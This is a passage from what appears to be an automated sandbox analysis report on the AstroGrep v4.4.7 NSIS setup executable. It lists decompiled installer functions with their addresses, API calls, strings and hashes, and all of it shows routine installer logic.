							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x42dbd8); // executed
						 *0x42dbd8 = _a12;
						L58:
						_t141 =  *0x42a868 - _t133; // 0x1
						if(_t141 == 0) {
							_t142 =  *0x42dbd8 - _t133; // 0x603fc
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa); // executed
								 *0x42a868 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403a4a
0x00403a53
0x00403b94
0x00403b98
0x00403b9c
0x00403b9e
0x00403ba3
0x00403bae
0x00403bb9
0x00403bbe
0x00403bc0
0x00403bc2
0x00403bc5
0x00403bca
0x00403bd8
0x00403be5
0x00403bec
0x00403bec
0x00403bed
0x00403bed
0x00403bf2
0x00403bf8
0x00403bff
0x00403c05
0x00403c07
0x00403c47
0x00403c4c
0x00403c51
0x00403c51
0x00403c56
0x00403c5f
0x00403c61
0x00403c66
0x00403c6c
0x00403c70
0x00403c70
0x00403c75
0x00403c7b
0x00000000
0x00000000
0x00403c86
0x00403c8c
0x00000000
0x00000000
0x00403c95
0x00403c9d
0x00403ca2
0x00403ca5
0x00403cab
0x00403cb0
0x00403cb3
0x00403cb9
0x00403cbe
0x00403cc1
0x00403cc7
0x00403ccf
0x00403cd5
0x00403cdb
0x00403cdf
0x00403ce6
0x00403ce6
0x00403ce6
0x00403cf0
0x00403d02
0x00403d0e
0x00403d13
0x00403d1d
0x00403d23
0x00403d25
0x00403d2a
0x00403d27
0x00403d27
0x00403d27
0x00403d3a
0x00403d52
0x00403d54
0x00403d5a
0x00403d6f
0x00403d5c
0x00403d65
0x00403d67
0x00403d67
0x00403d75
0x00403d85
0x00403d96
0x00403d9d
0x00403da3
0x00403da7
0x00403dac
0x00403dae
0x00000000
0x00403db4
0x00403db4
0x00403db6
0x00000000
0x00000000
0x00403dbc
0x00403dc0
0x00403de5
0x00403deb
0x00403df1
0x00403df3
0x00000000
0x00000000
0x00403e19
0x00403e1f
0x00403e21
0x00403e26
0x00000000
0x00000000
0x00403e2c
0x00403e2f
0x00403e32
0x00403e49
0x00403e55
0x00403e6e
0x00403e74
0x00403e78
0x00403e7d
0x00403e83
0x00000000
0x00000000
0x00403e8d
0x00403e98
0x00000000
0x00403e98
0x00403dc2
0x00403dc8
0x00000000
0x00000000
0x00403dce
0x00403dd4
0x00000000
0x00000000
0x00000000
0x00403dda
0x00403dae
0x00403ea5
0x00403eb1
0x00403eb8
0x00000000
0x00403c09
0x00403c09
0x00403c0c
0x00403c3f
0x00403c3f
0x00403c41
0x00000000
0x00000000
0x00000000
0x00403c41
0x00403c0e
0x00403c12
0x00403c17
0x00403c19
0x00000000
0x00000000
0x00403c29
0x00403c31
0x00000000
0x00403c37
0x00403a65
0x00403a65
0x00403a69
0x00403a6e
0x00403a7d
0x00403a7d
0x00403a86
0x00403a8f
0x00403a9a
0x00403a9a
0x00403aa6
0x00403ac2
0x00403ac5
0x00403ad8
0x00403ade
0x00403b81
0x00000000
0x00403b8a
0x00403ae4
0x00403af1
0x00403af3
0x00403af5
0x00403b14
0x00403b14
0x00403b17
0x00403b1c
0x00403b1f
0x00403b2f
0x00403b30
0x00403b32
0x00403b68
0x00403b7b
0x00000000
0x00403b7b
0x00403b34
0x00403b3a
0x00403b53
0x00403b58
0x00403b5a
0x00000000
0x00000000
0x00403b5c
0x00403b48
0x00403b48
0x00403b4a
0x00403b4a
0x00000000
0x00403b4a
0x00403b3d
0x00403b42
0x00000000
0x00403b42
0x00403b21
0x00403b27
0x00000000
0x00000000
0x00403b29
0x00000000
0x00403b29
0x00403b19
0x00000000
0x00403b19
0x00403aff
0x00403b06
0x00403b0c
0x00403b0e
0x00000000
0x00000000
0x00000000
0x00403b0e
0x00403aca
0x00000000
0x00403aa8
0x00403aae
0x00403ab8
0x00403ebe
0x00403ebe
0x00403ec4
0x00403ec6
0x00403ecc
0x00403ed1
0x00403ed7
0x00403ed7
0x00403ecc
0x00403ee1
0x00000000
0x00403ee1
0x00403aa6

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A7D
ShowWindow.USER32(?), ref: 00403A9A
DestroyWindow.USER32 ref: 00403AAE
SetWindowLongA.USER32 ref: 00403ACA
GetDlgItem.USER32(?,?), ref: 00403AEB
SendMessageA.USER32 ref: 00403AFF
IsWindowEnabled.USER32(00000000), ref: 00403B06
GetDlgItem.USER32(?,00000001), ref: 00403BB4
GetDlgItem.USER32(?,00000002), ref: 00403BBE
SetClassLongA.USER32(?,000000F2,?), ref: 00403BD8
SendMessageA.USER32 ref: 00403C29
GetDlgItem.USER32(?,00000003), ref: 00403CCF
ShowWindow.USER32(00000000,?), ref: 00403CF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D02
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D1D
GetSystemMenu.USER32 ref: 00403D33
EnableMenuItem.USER32 ref: 00403D3A
SendMessageA.USER32 ref: 00403D52
SendMessageA.USER32 ref: 00403D65
lstrlenA.KERNEL32(AstroGrep v4.4.7 Setup ,?,AstroGrep v4.4.7 Setup ,AstroGrep v4.4.7 Setup), ref: 00403D8E
SetWindowTextA.USER32(?,AstroGrep v4.4.7 Setup ), ref: 00403D9D
ShowWindow.USER32(?,0000000A), ref: 00403ED1

Strings

AstroGrep v4.4.7 Setup, xrefs: 00403D7F
AstroGrep v4.4.7 Setup , xrefs: 00403D7A, 00403D84, 00403D8D, 00403D9B

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherLongMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: AstroGrep v4.4.7 Setup$AstroGrep v4.4.7 Setup
API String ID: 1252290697-1903755671
Opcode ID: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction ID: 4996b7fab7fdeaebc033b1676f4cae353b3174fabf4a12f0715eb1af02f584c4
Opcode Fuzzy Hash: fc27e82e98cabd3308fd2f89a2a423f79f43cd40c567b8a18826c7a47723085f
Instruction Fuzzy Hash: 74C1B131A04205ABDB216F62ED85E2B7EBCFB4570AF40053EF501B11E1C739A942DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF, Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004036AF(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t17;
				void* _t25;
				void* _t27;
				int _t28;
				void* _t31;
				int _t34;
				int _t35;
				intOrPtr _t36;
				int _t39;
				char _t57;
				CHAR* _t59;
				signed char _t63;
				CHAR* _t74;
				intOrPtr _t76;
				CHAR* _t81;

				_t76 =  *0x42e410;
				_t17 = E004060C8(2);
				_t84 = _t17;
				if(_t17 == 0) {
					_t74 = 0x429868;
					"1033" = 0x30;
					 *0x435001 = 0x78;
					 *0x435002 = 0;
					E00405C16(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x429868, 0);
					__eflags =  *0x429868; // 0x41
					if(__eflags == 0) {
						E00405C16(0x80000003, ".DEFAULT\\Control Panel\\International",  &M0040735A, 0x429868, 0);
					}
					lstrcatA("1033", _t74);
				} else {
					E00405C8D("1033",  *_t17() & 0x0000ffff);
				}
				E00403974(_t71, _t84);
				_t80 = "C:\\Program Files (x86)\\AstroGrep";
				 *0x42e480 =  *0x42e418 & 0x00000020;
				 *0x42e49c = 0x10000;
				if(E0040588F(_t84, "C:\\Program Files (x86)\\AstroGrep") != 0) {
					L16:
					if(E0040588F(_t92, _t80) == 0) {
						E00405D51(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118))); // executed
					}
					_t25 = LoadImageA( *0x42e400, 0x67, 1, 0, 0, 0x8040);
					 *0x42dbe8 = _t25;
					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t27 = E00403974(_t71, __eflags);
							__eflags =  *0x42e4a0;
							if( *0x42e4a0 != 0) {
								_t28 = E0040501A(_t27, 0);
								__eflags = _t28;
								if(_t28 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42dbcc; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x429848, 5); // executed
							_t34 = E0040605A("RichEd20"); // executed
							__eflags = _t34;
							if(_t34 == 0) {
								E0040605A("RichEd32");
							}
							_t81 = "RichEdit20A";
							_t35 = GetClassInfoA(0, _t81, 0x42dba0);
							__eflags = _t35;
							if(_t35 == 0) {
								GetClassInfoA(0, "RichEdit", 0x42dba0);
								 *0x42dbc4 = _t81;
								RegisterClassA(0x42dba0);
							}
							_t36 =  *0x42dbe0; // 0x0
							_t39 = DialogBoxParamA( *0x42e400, _t36 + 0x00000069 & 0x0000ffff, 0, E00403A41, 0); // executed
							E004035FF(E0040140B(5), 1);
							return _t39;
						}
						L22:
						_t31 = 2;
						return _t31;
					} else {
						_t71 =  *0x42e400;
						 *0x42dba4 = E00401000;
						 *0x42dbb0 =  *0x42e400;
						 *0x42dbb4 = _t25;
						 *0x42dbc4 = 0x4091f4;
						if(RegisterClassA(0x42dba0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoA(0x30, 0,  &_v16, 0);
						 *0x429848 = CreateWindowExA(0x80, 0x4091f4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42e400, 0);
						goto L21;
					}
				} else {
					_t71 =  *(_t76 + 0x48);
					if(_t71 == 0) {
						goto L16;
					}
					_t74 = 0x42d3a0;
					E00405C16( *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x42e438, 0x42d3a0, 0);
					_t57 =  *0x42d3a0; // 0x52
					if(_t57 == 0) {
						goto L16;
					}
					if(_t57 == 0x22) {
						_t74 = 0x42d3a1;
						 *((char*)(E004057CC(0x42d3a1, 0x22))) = 0;
					}
					_t59 = lstrlenA(_t74) + _t74 - 4;
					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
						L15:
						E00405D2F(_t80, E004057A1(_t74));
						goto L16;
					} else {
						_t63 = GetFileAttributesA(_t74);
						if(_t63 == 0xffffffff) {
							L14:
							E004057E8(_t74);
							goto L15;
						}
						_t92 = _t63 & 0x00000010;
						if((_t63 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004036b5
0x004036be
0x004036c5
0x004036c7
0x004036db
0x004036ed
0x004036f4
0x004036fb
0x00403701
0x00403706
0x0040370c
0x0040371f
0x0040371f
0x0040372a
0x004036c9
0x004036d4
0x004036d4
0x0040372f
0x00403739
0x00403742
0x00403747
0x00403758
0x004037df
0x004037e7
0x004037f0
0x004037f0
0x00403806
0x0040380c
0x0040381a
0x0040389b
0x004038a3
0x004038ad
0x004038b2
0x004038b8
0x00403942
0x00403947
0x00403949
0x00403965
0x00000000
0x00403965
0x0040394b
0x00403951
0x00403959
0x00403959
0x00000000
0x00403951
0x004038c6
0x004038d1
0x004038d6
0x004038d8
0x004038df
0x004038df
0x004038ea
0x004038f2
0x004038f4
0x004038f6
0x004038ff
0x00403902
0x00403908
0x00403908
0x0040390e
0x00403927
0x00403938
0x00000000
0x0040393d
0x004038a5
0x004038a7
0x00000000
0x0040381c
0x0040381c
0x00403828
0x00403832
0x00403838
0x0040383d
0x0040384c
0x0040396a
0x0040396a
0x00000000
0x0040396a
0x0040385b
0x00403896
0x00000000
0x00403896
0x0040375e
0x0040375e
0x00403763
0x00000000
0x00000000
0x0040376d
0x0040377d
0x00403782
0x00403789
0x00000000
0x00000000
0x0040378d
0x0040378f
0x0040379c
0x0040379c
0x004037a4
0x004037aa
0x004037d2
0x004037da
0x00000000
0x004037bc
0x004037bd
0x004037c6
0x004037cc
0x004037cd
0x00000000
0x004037cd
0x004037c8
0x004037ca
0x00000000
0x00000000
0x00000000
0x004037ca
0x004037aa

APIs

Part of subcall function 004060C8: GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
Part of subcall function 004060C8: GetProcAddress.KERNEL32(00000000,?,?,?,00403179,00000009), ref: 004060F5

lstrcatA.KERNEL32(1033,AstroGrep v4.4.7 Setup ,80000001,Control Panel\Desktop\ResourceLocale,00000000,AstroGrep v4.4.7 Setup ,00000000,00000002,76712754,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" ,00000000), ref: 0040372A
lstrlenA.KERNEL32(Remove folder: ,?,?,?,Remove folder: ,00000000,C:\Program Files (x86)\AstroGrep,1033,AstroGrep v4.4.7 Setup ,80000001,Control Panel\Desktop\ResourceLocale,00000000,AstroGrep v4.4.7 Setup ,00000000,00000002,76712754), ref: 0040379F
lstrcmpiA.KERNEL32(?,.exe,Remove folder: ,?,?,?,Remove folder: ,00000000,C:\Program Files (x86)\AstroGrep,1033,AstroGrep v4.4.7 Setup ,80000001,Control Panel\Desktop\ResourceLocale,00000000,AstroGrep v4.4.7 Setup ,00000000), ref: 004037B2
GetFileAttributesA.KERNEL32(Remove folder: ), ref: 004037BD
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Program Files (x86)\AstroGrep), ref: 00403806

Part of subcall function 00405C8D: wsprintfA.USER32 ref: 00405C9A

RegisterClassA.USER32(0042DBA0), ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040385B
CreateWindowExA.USER32 ref: 00403890
ShowWindow.USER32(00000005,00000000), ref: 004038C6
GetClassInfoA.USER32(00000000,RichEdit20A,0042DBA0), ref: 004038F2
GetClassInfoA.USER32(00000000,RichEdit,0042DBA0), ref: 004038FF
RegisterClassA.USER32(0042DBA0), ref: 00403908
DialogBoxParamA.USER32 ref: 00403927

Strings

RichEdit, xrefs: 004038F9
1033, xrefs: 004036CF, 00403725
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B4
AstroGrep v4.4.7 Setup , xrefs: 004036DB, 004036E1, 00403706, 0040370F, 00403724
Remove folder: , xrefs: 0040376D, 00403775, 00403782, 004037CC, 004037D2
_Nb, xrefs: 00403822, 0040388A
.exe, xrefs: 004037AC
RichEdit20A, xrefs: 004038EA, 004038F0
C:\Program Files (x86)\AstroGrep, xrefs: 00403739, 00403741, 004037D9, 004037DF, 004037EF
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
RichEd20, xrefs: 004038CC
.DEFAULT\Control Panel\International, xrefs: 00403715
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 004036B3
RichEd32, xrefs: 004038DA

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $.DEFAULT\Control Panel\International$.exe$1033$AstroGrep v4.4.7 Setup $C:\Program Files (x86)\AstroGrep$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Remove folder: $RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-4069914073
Opcode ID: bbcc0ab7bdbe30227ddd5912a7935d2a12b8b01ad7e03ac62d617ac8d3ddabba
Instruction ID: 60e5f6254d87716c4f77e59e0de616dae33e132719ef70849b8472436850552a
Opcode Fuzzy Hash: bbcc0ab7bdbe30227ddd5912a7935d2a12b8b01ad7e03ac62d617ac8d3ddabba
Instruction Fuzzy Hash: 4161E6B07442006EE620BF269C85F373EACEB45749F50443FF945B62E2C67CAD429A2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040405D, Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 205
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040405D(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char* _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L11:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x428834 =  *0x428834 + 1;
								__eflags =  *0x428834;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403F7B(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
								_t100 =  *((intOrPtr*)(_t110 + 0x1c));
								_t109 =  *((intOrPtr*)(_t110 + 0x18));
								_v12 = _t100;
								__eflags = _t100 - _t109 - 0x800;
								_v16 = _t109;
								_v8 = 0x42d3a0;
								if(_t100 - _t109 < 0x800) {
									SendMessageA(_t52, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorA(0, 0x7f02));
									ShellExecuteA(_a4, "open", _v8, 0, 0, 1);
									SetCursor(LoadCursorA(0, 0x7f00));
									_t110 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t110 + 8)) - 0x700;
						if( *((intOrPtr*)(_t110 + 8)) != 0x700) {
							goto L26;
						} else {
							__eflags =  *((intOrPtr*)(_t110 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
								goto L26;
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x42e408, 0x111, 1, 0);
							}
							__eflags =  *((intOrPtr*)(_t110 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x42e408, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L25;
					}
					__eflags =  *0x428834; // 0x1
					if(__eflags != 0) {
						goto L25;
					}
					_t103 =  *0x429040; // 0x5f054c
					_t25 = _t103 + 0x14; // 0x5f0560
					_t112 = _t25;
					__eflags =  *_t112 & 0x00000020;
					if(( *_t112 & 0x00000020) == 0) {
						goto L25;
					}
					_t106 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t106;
					 *_t112 = _t106;
					E00403F36(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E004042E7();
					goto L11;
				} else {
					_t98 = _a16;
					_t113 =  *(_t98 + 0x30);
					if(_t113 < 0) {
						_t107 =  *0x42dbdc; // 0x603445
						_t113 =  *(_t107 - 4 + _t113 * 4);
					}
					_push( *((intOrPtr*)(_t98 + 0x34)));
					_t114 = _t113 +  *0x42e438;
					_push(0x22);
					_a16 =  *_t114;
					_v12 = _v12 & 0x00000000;
					_t115 = _t114 + 1;
					_v16 = _t115;
					_v8 = E00404028;
					E00403F14(_a4);
					_push( *((intOrPtr*)(_t98 + 0x38)));
					_push(0x23);
					E00403F14(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
					E00403F36( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
					_t99 = GetDlgItem(_a4, 0x3e8);
					E00403F49(_t99);
					SendMessageA(_t99, 0x45b, 1, 0);
					_t86 =  *( *0x42e410 + 0x68);
					if(_t86 < 0) {
						_t86 = GetSysColor( ~_t86);
					}
					SendMessageA(_t99, 0x443, 0, _t86);
					SendMessageA(_t99, 0x445, 0, 0x4010000);
					SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
					 *0x428834 = 0;
					SendMessageA(_t99, 0x449, _a16,  &_v16); // executed
					 *0x428834 = 0;
					return 0;
				}
			}

0x0040406d
0x0040417f
0x00404192
0x004041ee
0x004041ee
0x004041f2
0x004042c2
0x004042c9
0x004042cb
0x004042cb
0x004042cb
0x004042d1
0x004042d1
0x004042d4
0x00000000
0x004042db
0x00404200
0x00404202
0x00404205
0x0040420c
0x0040420e
0x00404215
0x00404217
0x0040421a
0x0040421d
0x00404222
0x00404228
0x0040422b
0x00404232
0x00404240
0x00404258
0x0040426b
0x0040427b
0x0040427d
0x0040427d
0x00404232
0x00404215
0x00404280
0x00404287
0x00000000
0x00404289
0x00404289
0x00404290
0x00000000
0x00000000
0x00404292
0x00404296
0x004042a7
0x004042a7
0x004042a9
0x004042ad
0x004042bb
0x004042bb
0x00000000
0x004042bf
0x00404287
0x0040419a
0x0040419d
0x00000000
0x00000000
0x004041a5
0x004041ab
0x00000000
0x00000000
0x004041b1
0x004041b7
0x004041b7
0x004041ba
0x004041bd
0x00000000
0x00000000
0x004041e0
0x004041e0
0x004041e2
0x004041e4
0x004041e9
0x00000000
0x00404073
0x00404073
0x00404076
0x0040407b
0x0040407d
0x0040408c
0x0040408c
0x00404093
0x00404096
0x00404098
0x0040409d
0x004040a6
0x004040ac
0x004040b8
0x004040bb
0x004040c4
0x004040c9
0x004040cc
0x004040d1
0x004040e8
0x004040ef
0x00404102
0x00404105
0x0040411a
0x00404121
0x00404126
0x0040412b
0x0040412b
0x0040413a
0x00404149
0x0040415b
0x00404160
0x00404170
0x00404172
0x00000000
0x00404178

APIs

CheckDlgButton.USER32 ref: 004040E8
GetDlgItem.USER32(00000000,000003E8), ref: 004040FC
SendMessageA.USER32 ref: 0040411A
GetSysColor.USER32 ref: 0040412B
SendMessageA.USER32 ref: 0040413A
SendMessageA.USER32 ref: 00404149
lstrlenA.KERNEL32(?), ref: 0040414C
SendMessageA.USER32 ref: 0040415B
SendMessageA.USER32 ref: 00404170
GetDlgItem.USER32(?,0000040A), ref: 004041D2
SendMessageA.USER32 ref: 004041D5
GetDlgItem.USER32(?,000003E8), ref: 00404200
SendMessageA.USER32 ref: 00404240
LoadCursorA.USER32 ref: 0040424F
SetCursor.USER32(00000000), ref: 00404258
ShellExecuteA.SHELL32(0000070B,open,0042D3A0,00000000,00000000,00000001), ref: 0040426B
LoadCursorA.USER32 ref: 00404278
SetCursor.USER32(00000000), ref: 0040427B
SendMessageA.USER32 ref: 004042A7
SendMessageA.USER32 ref: 004042BB

Strings

N, xrefs: 004041EE
open, xrefs: 00404263
(@@, xrefs: 00404260
Remove folder: , xrefs: 0040422B
E4`, xrefs: 0040407D

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: (@@$E4`$N$Remove folder: $open
API String ID: 3615053054-3035087168
Opcode ID: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction ID: c92d02d703ef172067c6e48558b1c194508f37b8d1d7228abd04d5231d4a861f
Opcode Fuzzy Hash: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction Fuzzy Hash: 5461D3B1A40209BFEB109F21DC45F6A7B68FB44755F10807AFB00BA2D1C7B8A951CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402C66, Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00402C66(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\Albus\\AppData\\Local\\Temp\\ASTROGREP_SETUP_V4.4.7.EXE";
				 *0x42e40c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Albus\\AppData\\Local\\Temp\\ASTROGREP_SETUP_V4.4.7.EXE", 0x400);
				_t89 = E004059A2(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409018 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\Albus\\AppData\\Local\\Temp";
				E00405D2F("C:\\Users\\Albus\\AppData\\Local\\Temp", _t91);
				E00405D2F(0x436000, E004057E8(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x420424 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402C02(1);
					__eflags =  *0x42e414 - _t82;
					if( *0x42e414 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E004030C7( *0x42e414 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E9F(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x42e410 = _t94;
							 *0x42e418 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x42e41c =  *0x42e41c + 1;
								__eflags =  *0x42e41c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E0040595D(0x42e420, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004030C7( *0x414418);
					_t65 = E004030B1( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x42e414) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004030B1(0x420428, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402C02(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42e414;
						if( *0x42e414 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402C02(0);
							}
							goto L20;
						}
						E0040595D( &_v44, 0x420428, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
